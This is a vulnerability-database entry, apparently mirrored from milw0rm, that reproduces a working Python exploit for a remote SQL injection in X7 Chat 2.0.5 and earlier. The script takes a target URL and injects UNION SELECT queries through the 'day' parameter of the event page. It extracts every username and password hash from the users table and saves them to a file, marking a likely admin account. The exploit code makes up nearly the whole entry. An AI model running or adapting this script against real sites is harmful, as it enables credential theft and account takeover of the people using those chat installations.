Lucene search
K

X7 Chat <= 2.0.5 (day) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Remote SQL Injection in X7 Chat v2.0.

Code

                                                #!/usr/bin/python
#
#Exploit for xchat 2.0.5
#Saca los usuarios y los hash
#By nonroot - 2008
#it&#39;s a PoC, please use responsibly
#
import string,urllib
import sys,re
print &#34;Target host: i.e: http://127.0.0.1/x7chat/&#34;
host=raw_input(&#34;Target host ( include http and /): &#34;)
print &#34;Output file: i.e: salida.txt&#34;
out_file=raw_input(&#34;Output file: &#34;)
print &#34;trying ...&#34;
SQL_users=&#34;1%20UNION%20select%20username,id,username%20from%20x7chat2_users%20--&#34;
SQL_hashs=&#34;1%20UNION%20select%20username,id,password%20from%20x7chat2_users%20--&#34;
link_attack=host+&#34;index.php?act=sm_window&page=event&day=&#34;
response = urllib.urlopen(link_attack + SQL_users).read()
findall_users=re.compile(&#34;&#60;/b&#62;(\w+)&#60;Br&#62;&#60;Br&#62;&#34;).findall
found_users=findall_users(response)
if len(found_users)==0:
	print &#34;Sorry, exploit failed, please review the SQL string and try to change something like tables or wathever&#34;
	print &#34;Or, there are not users, or x7chat software is version &#62;= 2.0.5.1, so sorry. try to find a new bug ;)&#34;
	sys.exit()
#Find the hashs
response = urllib.urlopen(link_attack + SQL_hashs).read()
findall_hashs=re.compile(&#34;&#60;/b&#62;(\w+)&#60;Br&#62;&#60;Br&#62;&#34;).findall
found_hashs=findall_hashs(response)
if len(found_hashs)==0:
	print &#34;Sorry, exploit failed, please review the SQL string and try to change something like tables or wathever&#34;
	print &#34;Or, there are not hashs, or x7chat software is version &#62;= 2.0.5.1, so sorry. try to find a new bug ;)&#34;
	sys.exit()
#Save all this at file
file = open(out_file, &#34;w&#34;)
file.write(&#34;*********************************************************************\n&#34;)
file.write(&#34;\n&#34;)
file.write(&#34;HOST:&#34;)
file.write(&#34;	&#34;)
file.write(host)
file.write(&#34;\n&#34;)
file.write(&#34;\n&#34;)
file.write(&#34;USER						HASH\n&#34;)
file.write(&#34;possible admin user: &#34;)
file.write(found_users[0])
file.write(&#34;			&#34;)
file.write(found_hashs[0])
file.write(&#34;\n&#34;)
for i in range(len(found_users)):
	file.write(found_users[i])
	file.write(&#34;		 				&#34;)
	file.write(found_hashs[i])
	file.write(&#34;\n&#34;)
file.write(&#34;\n&#34;)
file.write(&#34;*********************************************************************\n&#34;)
file.close()
print &#34;Successfull, please review the &#34;,out_file,&#34; file.&#34;

# milw0rm.com [2008-01-14]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation